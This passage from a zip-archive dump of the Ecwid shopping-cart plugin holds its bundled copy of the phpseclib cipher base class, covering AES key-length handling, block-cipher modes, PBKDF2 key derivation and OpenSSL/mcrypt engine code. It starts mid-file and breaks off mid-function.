{ return; } /** * Sets the key length * * Valid key lengths are 128, 192, and 256. If the length is less than 128, it will be rounded up to * 128. If the length is greater than 128 and invalid, it will be rounded down to the closest valid amount. * * @see Crypt_Rijndael:setKeyLength() * @access public * @param int $length */ function setKeyLength($length) { switch ($length) { case 160: $length = 192; break; case 224: $length = 256; } parent::setKeyLength($length); } /** * Sets the key. * * Rijndael supports five different key lengths, AES only supports three. * * @see Crypt_Rijndael:setKey() * @see setKeyLength() * @access public * @param string $key */ function setKey($key) { parent::setKey($key); if (!$this->explicit_key_length) { $length = strlen($key); switch (true) { case $length <= 16: $this->key_length = 16; break; case $length <= 24: $this->key_length = 24; break; default: $this->key_length = 32; } $this->_setEngine(); } } } PK������Ê—[*öœRd�Rd�*��ecwid-shopping-cart/lib/phpseclib/Base.phpnu�„[µü¤��������<?php /** * Base Class for all Crypt_* cipher classes * * PHP versions 4 and 5 * * Internally for phpseclib developers: * If you plan to add a new cipher class, please note following rules: * * - The new Crypt_* cipher class should extend Crypt_Base * * - Following methods are then required to be overridden/overloaded: * * - _encryptBlock() * * - _decryptBlock() * * - _setupKey() * * - All other methods are optional to be overridden/overloaded * * - Look at the source code of the current ciphers how they extend Crypt_Base * and take one of them as a start up for the new cipher class. * * - Please read all the other comments/notes/hints here also for each class var/method * * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @category Crypt * @package Crypt_Base * @author Jim Wigginton <terrafrost@php.net> * @author Hans-Juergen Petrich <petrich@tronic-media.com> * @copyright 2007 Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net */ /**#@+ * @access public * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() */ /** * Encrypt / decrypt using the Counter mode. * * Set to -1 since that's what Crypt/Random.php uses to index the CTR mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Counter_.28CTR.29 */ define('CRYPT_MODE_CTR', -1); /** * Encrypt / decrypt using the Electronic Code Book mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 */ define('CRYPT_MODE_ECB', 1); /** * Encrypt / decrypt using the Code Book Chaining mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29 */ define('CRYPT_MODE_CBC', 2); /** * Encrypt / decrypt using the Cipher Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher_feedback_.28CFB.29 */ define('CRYPT_MODE_CFB', 3); /** * Encrypt / decrypt using the Output Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Output_feedback_.28OFB.29 */ define('CRYPT_MODE_OFB', 4); /** * Encrypt / decrypt using streaming mode. */ define('CRYPT_MODE_STREAM', 5); /**#@-*/ /**#@+ * @access private * @see Crypt_Base::Crypt_Base() * @internal These constants are for internal use only */ /** * Base value for the internal implementation $engine switch */ define('CRYPT_ENGINE_INTERNAL', 1); /** * Base value for the mcrypt implementation $engine switch */ define('CRYPT_ENGINE_MCRYPT', 2); /** * Base value for the OpenSSL implementation $engine switch */ define('CRYPT_ENGINE_OPENSSL', 3); /**#@-*/ /** * Base Class for all Crypt_* cipher classes * * @package Crypt_Base * @author Jim Wigginton <terrafrost@php.net> * @author Hans-Juergen Petrich <petrich@tronic-media.com> * @access public */ class Ecwid_Crypt_Base { /** * The Encryption Mode * * @see Crypt_Base::Crypt_Base() * @var int * @access private */ var $mode; /** * The Block Length of the block cipher * * @var int * @access private */ var $block_size = 16; /** * The Key * * @see Crypt_Base::setKey() * @var string * @access private */ var $key = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /** * The Initialization Vector * * @see Crypt_Base::setIV() * @var string * @access private */ var $iv; /** * A "sliding" Initialization Vector * * @see Crypt_Base::enableContinuousBuffer() * @see Crypt_Base::_clearBuffers() * @var string * @access private */ var $encryptIV; /** * A "sliding" Initialization Vector * * @see Crypt_Base::enableContinuousBuffer() * @see Crypt_Base::_clearBuffers() * @var string * @access private */ var $decryptIV; /** * Continuous Buffer status * * @see Crypt_Base::enableContinuousBuffer() * @var bool * @access private */ var $continuousBuffer = false; /** * Encryption buffer for CTR, OFB and CFB modes * * @see Crypt_Base::encrypt() * @see Crypt_Base::_clearBuffers() * @var array * @access private */ var $enbuffer; /** * Decryption buffer for CTR, OFB and CFB modes * * @see Crypt_Base::decrypt() * @see Crypt_Base::_clearBuffers() * @var array * @access private */ var $debuffer; /** * mcrypt resource for encryption * * The mcrypt resource can be recreated every time something needs to be created or it can be created just once. * Since mcrypt operates in continuous mode, by default, it'll need to be recreated when in non-continuous mode. * * @see Crypt_Base::encrypt() * @var resource * @access private */ var $enmcrypt; /** * mcrypt resource for decryption * * The mcrypt resource can be recreated every time something needs to be created or it can be created just once. * Since mcrypt operates in continuous mode, by default, it'll need to be recreated when in non-continuous mode. * * @see Crypt_Base::decrypt() * @var resource * @access private */ var $demcrypt; /** * Does the enmcrypt resource need to be (re)initialized? * * @see Crypt_Twofish::setKey() * @see Crypt_Twofish::setIV() * @var bool * @access private */ var $enchanged = true; /** * Does the demcrypt resource need to be (re)initialized? * * @see Crypt_Twofish::setKey() * @see Crypt_Twofish::setIV() * @var bool * @access private */ var $dechanged = true; /** * mcrypt resource for CFB mode * * mcrypt's CFB mode, in (and only in) buffered context, * is broken, so phpseclib implements the CFB mode by it self, * even when the mcrypt php extension is available. * * In order to do the CFB-mode work (fast) phpseclib * use a separate ECB-mode mcrypt resource. * * @link http://phpseclib.sourceforge.net/cfb-demo.phps * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @see Crypt_Base::_setupMcrypt() * @var resource * @access private */ var $ecb; /** * Optimizing value while CFB-encrypting * * Only relevant if $continuousBuffer enabled * and $engine == CRYPT_ENGINE_MCRYPT * * It's faster to re-init $enmcrypt if * $buffer bytes > $cfb_init_len than * using the $ecb resource furthermore. * * This value depends of the chosen cipher * and the time it would be needed for it's * initialization [by mcrypt_generic_init()] * which, typically, depends on the complexity * on its internaly Key-expanding algorithm. * * @see Crypt_Base::encrypt() * @var int * @access private */ var $cfb_init_len = 600; /** * Does internal cipher state need to be (re)initialized? * * @see setKey() * @see setIV() * @see disableContinuousBuffer() * @var bool * @access private */ var $changed = true; /** * Padding status * * @see Crypt_Base::enablePadding() * @var bool * @access private */ var $padding = true; /** * Is the mode one that is paddable? * * @see Crypt_Base::Crypt_Base() * @var bool * @access private */ var $paddable = false; /** * Holds which crypt engine internaly should be use, * which will be determined automatically on __construct() * * Currently available $engines are: * - CRYPT_ENGINE_OPENSSL (very fast, php-extension: openssl, extension_loaded('openssl') required) * - CRYPT_ENGINE_MCRYPT (fast, php-extension: mcrypt, extension_loaded('mcrypt') required) * - CRYPT_ENGINE_INTERNAL (slower, pure php-engine, no php-extension required) * * @see Crypt_Base::_setEngine() * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @var int * @access private */ var $engine; /** * Holds the preferred crypt engine * * @see Crypt_Base::_setEngine() * @see Crypt_Base::setPreferredEngine() * @var int * @access private */ var $preferredEngine; /** * The mcrypt specific name of the cipher * * Only used if $engine == CRYPT_ENGINE_MCRYPT * * @link http://www.php.net/mcrypt_module_open * @link http://www.php.net/mcrypt_list_algorithms * @see Crypt_Base::_setupMcrypt() * @var string * @access private */ var $cipher_name_mcrypt; /** * The openssl specific name of the cipher * * Only used if $engine == CRYPT_ENGINE_OPENSSL * * @link http://www.php.net/openssl-get-cipher-methods * @var string * @access private */ var $cipher_name_openssl; /** * The openssl specific name of the cipher in ECB mode * * If OpenSSL does not support the mode we're trying to use (CTR) * it can still be emulated with ECB mode. * * @link http://www.php.net/openssl-get-cipher-methods * @var string * @access private */ var $cipher_name_openssl_ecb; /** * The default salt used by setPassword() * * @see Crypt_Base::setPassword() * @var string * @access private */ var $password_default_salt = 'phpseclib/salt'; /** * The namespace used by the cipher for its constants. * * ie: AES.php is using CRYPT_AES_MODE_* for its constants * so $const_namespace is AES * * DES.php is using CRYPT_DES_MODE_* for its constants * so $const_namespace is DES... and so on * * All CRYPT_<$const_namespace>_MODE_* are aliases of * the generic CRYPT_MODE_* constants, so both could be used * for each cipher. * * Example: * $aes = new Crypt_AES(CRYPT_AES_MODE_CFB); // $aes will operate in cfb mode * $aes = new Crypt_AES(CRYPT_MODE_CFB); // identical * * @see Crypt_Base::Crypt_Base() * @var string * @access private */ var $const_namespace; /** * The name of the performance-optimized callback function * * Used by encrypt() / decrypt() * only if $engine == CRYPT_ENGINE_INTERNAL * * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @see Crypt_Base::_setupInlineCrypt() * @see Crypt_Base::$use_inline_crypt * @var Callback * @access private */ var $inline_crypt; /** * Holds whether performance-optimized $inline_crypt() can/should be used. * * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @see Crypt_Base::inline_crypt * @var mixed * @access private */ var $use_inline_crypt; /** * If OpenSSL can be used in ECB but not in CTR we can emulate CTR * * @see Crypt_Base::_openssl_ctr_process() * @var bool * @access private */ var $openssl_emulate_ctr = false; /** * Determines what options are passed to openssl_encrypt/decrypt * * @see Crypt_Base::isValidEngine() * @var mixed * @access private */ var $openssl_options; /** * Has the key length explicitly been set or should it be derived from the key, itself? * * @see self::setKeyLength() * @var bool * @access private */ var $explicit_key_length = false; /** * Don't truncate / null pad key * * @see self::_clearBuffers() * @var bool * @access private */ var $skip_key_adjustment = false; /** * Default Constructor. * * Determines whether or not the mcrypt extension should be used. * * $mode could be: * * - CRYPT_MODE_ECB * * - CRYPT_MODE_CBC * * - CRYPT_MODE_CTR * * - CRYPT_MODE_CFB * * - CRYPT_MODE_OFB * * (or the alias constants of the chosen cipher, for example for AES: CRYPT_AES_MODE_ECB or CRYPT_AES_MODE_CBC ...) * * If not explicitly set, CRYPT_MODE_CBC will be used. * * @param int $mode * @access public */ function __construct($mode = CRYPT_MODE_CBC) { $this->Ecwid_Crypt_Base($mode); } function Ecwid_Crypt_Base($mode = CRYPT_MODE_CBC) { // $mode dependent settings switch ($mode) { case CRYPT_MODE_ECB: $this->paddable = true; $this->mode = CRYPT_MODE_ECB; break; case CRYPT_MODE_CTR: case CRYPT_MODE_CFB: case CRYPT_MODE_OFB: case CRYPT_MODE_STREAM: $this->mode = $mode; break; case CRYPT_MODE_CBC: default: $this->paddable = true; $this->mode = CRYPT_MODE_CBC; } $this->_setEngine(); // Determining whether inline crypting can be used by the cipher if ($this->use_inline_crypt !== false && function_exists('create_function')) { $this->use_inline_crypt = true; } } /** * Sets the initialization vector. (optional) * * SetIV is not required when CRYPT_MODE_ECB (or ie for AES: CRYPT_AES_MODE_ECB) is being used. If not explicitly set, it'll be assumed * to be all zero's. * * @access public * @param string $iv * @internal Can be overwritten by a sub class, but does not have to be */ function setIV($iv) { if ($this->mode == CRYPT_MODE_ECB) { return; } $this->iv = $iv; $this->changed = true; } /** * Sets the key length. * * Keys with explicitly set lengths need to be treated accordingly * * @access public * @param int $length */ function setKeyLength($length) { $this->explicit_key_length = true; $this->changed = true; $this->_setEngine(); } /** * Returns the current key length in bits * * @access public * @return int */ function getKeyLength() { return $this->key_length << 3; } /** * Returns the current block length in bits * * @access public * @return int */ function getBlockLength() { return $this->block_size << 3; } /** * Sets the key. * * The min/max length(s) of the key depends on the cipher which is used. * If the key not fits the length(s) of the cipher it will paded with null bytes * up to the closest valid key length. If the key is more than max length, * we trim the excess bits. * * If the key is not explicitly set, it'll be assumed to be all null bytes. * * @access public * @param string $key * @internal Could, but not must, extend by the child Crypt_* class */ function setKey($key) { if (!$this->explicit_key_length) { $this->setKeyLength(strlen($key) << 3); $this->explicit_key_length = false; } $this->key = $key; $this->changed = true; $this->_setEngine(); } /** * Sets the password. * * Depending on what $method is set to, setPassword()'s (optional) parameters are as follows: * {@link http://en.wikipedia.org/wiki/PBKDF2 pbkdf2} or pbkdf1: * $hash, $salt, $count, $dkLen * * Where $hash (default = sha1) currently supports the following hashes: see: Crypt/Hash.php * * @see Crypt/Hash.php * @param string $password * @param string $method * @return bool * @access public * @internal Could, but not must, extend by the child Crypt_* class */ function setPassword($password, $method = 'pbkdf2') { $key = ''; switch ($method) { default: // 'pbkdf2' or 'pbkdf1' $func_args = func_get_args(); // Hash function $hash = isset($func_args[2]) ? $func_args[2] : 'sha1'; // WPA and WPA2 use the SSID as the salt $salt = isset($func_args[3]) ? $func_args[3] : $this->password_default_salt; // RFC2898#section-4.2 uses 1,000 iterations by default // WPA and WPA2 use 4,096. $count = isset($func_args[4]) ? $func_args[4] : 1000; // Keylength if (isset($func_args[5])) { $dkLen = $func_args[5]; } else { $dkLen = $method == 'pbkdf1' ? 2 * $this->key_length : $this->key_length; } switch (true) { case $method == 'pbkdf1': if (!class_exists('Crypt_Hash')) { include_once 'Crypt/Hash.php'; } $hashObj = new Crypt_Hash(); $hashObj->setHash($hash); if ($dkLen > $hashObj->getLength()) { user_error('Derived key too long'); return false; } $t = $password . $salt; for ($i = 0; $i < $count; ++$i) { $t = $hashObj->hash($t); } $key = substr($t, 0, $dkLen); $this->setKey(substr($key, 0, $dkLen >> 1)); $this->setIV(substr($key, $dkLen >> 1)); return true; // Determining if php[>=5.5.0]'s hash_pbkdf2() function avail- and useable case !function_exists('hash_pbkdf2'): case !function_exists('hash_algos'): case !in_array($hash, hash_algos()): if (!class_exists('Crypt_Hash')) { include_once 'Crypt/Hash.php'; } $i = 1; while (strlen($key) < $dkLen) { $hmac = new Crypt_Hash(); $hmac->setHash($hash); $hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; ++$j) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } $key = substr($key, 0, $dkLen); break; default: $key = hash_pbkdf2($hash, $password, $salt, $count, $dkLen, true); } } $this->setKey($key); return true; } /** * Encrypts a message. * * $plaintext will be padded with additional bytes such that it's length is a multiple of the block size. Other cipher * implementations may or may not pad in the same manner. Other common approaches to padding and the reasons why it's * necessary are discussed in the following * URL: * * {@link http://www.di-mgt.com.au/cryptopad.html http://www.di-mgt.com.au/cryptopad.html} * * An alternative to padding is to, separately, send the length of the file. This is what SSH, in fact, does. * strlen($plaintext) will still need to be a multiple of the block size, however, arbitrary values can be added to make it that * length. * * @see Crypt_Base::decrypt() * @access public * @param string $plaintext * @return string $ciphertext * @internal Could, but not must, extend by the child Crypt_* class */ function encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if ($this->engine === CRYPT_ENGINE_OPENSSL) { if ($this->changed) { $this->_clearBuffers(); $this->changed = false; } switch ($this->mode) { case CRYPT_MODE_STREAM: return openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options); case CRYPT_MODE_ECB: $result = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options); return !defined('OPENSSL_RAW_DATA') ? substr($result, 0, -$this->block_size) : $result; case CRYPT_MODE_CBC: $result = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $this->encryptIV); if ($this->continuousBuffer) { $this->encryptIV = substr($result, -$this->block_size); } return !defined('OPENSSL_RAW_DATA') ? substr($result, 0, -$this->block_size) : $result; case CRYPT_MODE_CTR: return $this->_openssl_ctr_process($plaintext, $this->encryptIV, $this->enbuffer); case CRYPT_MODE_CFB: // cfb loosely routines inspired by openssl's: // {@link http://cvs.openssl.org/fileview?f=openssl/crypto/modes/cfb128.c&v=1.3.2.2.2.1} $ciphertext = ''; if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$this->enbuffer['pos']; } else { $iv = $this->encryptIV; $pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $this->block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } // ie. $i = min($max, $len), $len-= $i, $pos+= $i, $pos%= $blocksize $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); $plaintext = substr($plaintext, $i); } $overflow = $len % $this->block_size; if ($overflow) { $ciphertext.= openssl_encrypt(substr($plaintext, 0, -$overflow) . str_repeat("\0", $this->block_size), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = $this->_string_pop($ciphertext, $this->block_size); $size = $len - $overflow; $block = $iv ^ substr($plaintext, -$overflow); $iv = substr_replace($iv, $block, 0, $overflow); $ciphertext.= $block; $pos = $overflow; } elseif ($len) { $ciphertext = openssl_encrypt($plaintext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = substr($ciphertext, -$this->block_size); } return $ciphertext; case CRYPT_MODE_OFB: return $this->_openssl_ofb_process($plaintext, $this->encryptIV, $this->enbuffer); } } if ($this->changed) { $this->_setup(); $this->changed = false; } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $buffer = &$this->enbuffer; $block_size = $this->block_size; $ciphertext = ''; switch ($this->mode) { case CRYPT_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $ciphertext.= $this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case CRYPT_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor); } $this->_increment_str($xor); $key = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } break; case CRYPT_MODE_CFB: // cfb loosely routines inspired by openssl's: // {@link http://cvs.openssl.org/fileview?f=openssl/crypto/modes/cfb128.c&v=1.3.2.2.2.1} if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$buffer['pos']; } else { $iv = $this->encryptIV; $pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } // ie. $i = min($max, $len), $len-= $i, $pos+= $i, $pos%= $blocksize $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); } while ($len >= $block_size) { $iv = $this->_encryptBlock($iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } if ($len) { $iv = $this->_encryptBlock($iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } break; case CRYPT_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.= substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case CRYPT_MODE_STREAM: $ciphertext = $this->_encryptBlock($plaintext); break; } return $ciphertext; } /** * Decrypts a message. * * If strlen($ciphertext) is not a multiple of the block size, null bytes will be added to the end of the string until * it is. * * @see Crypt_Base::encrypt() * @access public * @param string $ciphertext * @return string $plaintext * @internal Could, but not must, extend by the child Crypt_* class */ function decrypt($ciphertext) { if ($this->paddable) { // we pad with chr(0) since that's what mcrypt_generic does. to quote from {@link http://www.php.net/function.mcrypt-generic}: // "The data is padded with "\0" to make sure the length of the data is n * blocksize." $ciphertext = str_pad($ciphertext, strlen($ciphertext) + ($this->block_size - strlen($ciphertext) % $this->block_size) % $this->block_size, chr(0)); } if ($this->engine === CRYPT_ENGINE_OPENSSL) { if ($this->changed) { $this->_clearBuffers(); $this->changed = false; } switch ($this->mode) { case CRYPT_MODE_STREAM: $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options); break; case CRYPT_MODE_ECB: if (!defined('OPENSSL_RAW_DATA')) { $ciphertext.= openssl_encrypt('', $this->cipher_name_openssl_ecb, $this->key, true); } $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options); break; case CRYPT_MODE_CBC: if (!defined('OPENSSL_RAW_DATA')) { $padding = str_repeat(chr($this->block_size), $this->block_size) ^ substr($ciphertext, -$this->block_size); $ciphertext.= substr(@openssl_encrypt($padding, $this->cipher_name_openssl_ecb, $this->key, true), 0, $this->block_size); } $plaintext = openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $this->decryptIV); if ($this->continuousBuffer) { $this->decryptIV = substr($ciphertext, -$this->block_size); } break; case CRYPT_MODE_CTR: $plaintext = $this->_openssl_ctr_process($ciphertext, $this->decryptIV, $this->debuffer); break; case CRYPT_MODE_CFB: // cfb loosely routines inspired by openssl's: // {@link http://cvs.openssl.org/fileview?f=openssl/crypto/modes/cfb128.c&v=1.3.2.2.2.1} $plaintext = ''; if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$this->buffer['pos']; } else { $iv = $this->decryptIV; $pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $this->block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } // ie. $i = min($max, $len), $len-= $i, $pos+= $i, $pos%= $this->blocksize $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); $ciphertext = substr($ciphertext, $i); } $overflow = $len % $this->block_size; if ($overflow) { $plaintext.= openssl_decrypt(substr($ciphertext, 0, -$overflow), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); if ($len - $overflow) { $iv = substr($ciphertext, -$overflow - $this->block_size, -$overflow); } $iv = openssl_encrypt(str_repeat("\0", $this->block_size), $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $plaintext.= $iv ^ substr($ciphertext, -$overflow); $iv = substr_replace($iv, substr($ciphertext, -$overflow), 0, $overflow); $pos = $overflow; } elseif ($len) { $plaintext.= openssl_decrypt($ciphertext, $this->cipher_name_openssl, $this->key, $this->openssl_options, $iv); $iv = substr($ciphertext, -$this->block_size); } break; case CRYPT_MODE_OFB: $plaintext = $this->_openssl_ofb_process($ciphertext, $this->decryptIV, $this->debuffer); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } if ($this->changed) { $this->_setup(); $this->changed = false; } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $block_size = $this->block_size; $buffer = &$this->debuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $plaintext.= $this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case CRYPT_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor); $this->_increment_str($xor); } $key = $this->_string_shift($buffer['ciphertext'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } break; case CRYPT_MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$buffer['pos']; } else { $iv = $this->decryptIV; $pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } // ie. $i = min($max, $len), $len-= $i, $pos+= $i, $pos%= $blocksize $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } while ($len >= $block_size) { $iv = $this->_encryptBlock($iv); $cb = substr($ciphertext, $i, $block_size); $plaintext.= $iv ^ $cb; $iv = $cb; $len-= $block_size; $i+= $block_size; } if ($len) { $iv = $this->_encryptBlock($iv); $plaintext.= $iv ^ substr($ciphertext, $i); $iv = substr_replace($iv, substr($ciphertext, $i), 0, $len); $pos = $len; } break; case CRYPT_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $plaintext.= substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case CRYPT_MODE_STREAM: $plaintext = $this->_decryptBlock($ciphertext); break; } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } /** * OpenSSL CTR Processor * * PHP's OpenSSL bindings do not operate in continuous mode so we'll wrap around it. Since the keystream * for CTR is the same for both encrypting and decrypting this function is re-used by both Crypt_Base::encrypt() * and Crypt_Base::decrypt(). Also, OpenSSL doesn't implement CTR for all of it's symmetric ciphers so this * function will emulate CTR with ECB when necesary. * * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @param string $plaintext * @param string $encryptIV * @param array $buffer * @return string * @access private */ function _openssl_ctr_process($plaintext, &$encryptIV, &$buffer) { $ciphertext = ''; $block_size = $this->block_size; $key = $this->key; if ($this->openssl_emulate_ctr) { $xor = $encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $result = @openssl_encrypt($xor, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); $result = !defined('OPENSSL_RAW_DATA') ? substr($result, 0, -$this->block_size) : $result; $buffer['ciphertext'].= $result; } $this->_increment_str($xor); $otp = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $otp; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $otp = @openssl_encrypt($xor, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); $otp = !defined('OPENSSL_RAW_DATA') ? substr($otp, 0, -$this->block_size) : $otp; $this->_increment_str($xor); $ciphertext.= $block ^ $otp; } } if ($this->continuousBuffer) { $encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } return $ciphertext; } if (strlen($buffer['ciphertext'])) { $ciphertext = $plaintext ^ $this->_string_shift($buffer['ciphertext'], strlen($plaintext)); $plaintext = substr($plaintext, strlen($ciphertext)); if (!strlen($plaintext)) { return $ciphertext; } } $overflow = strlen($plaintext) % $block_size; if ($overflow) { $plaintext2 = 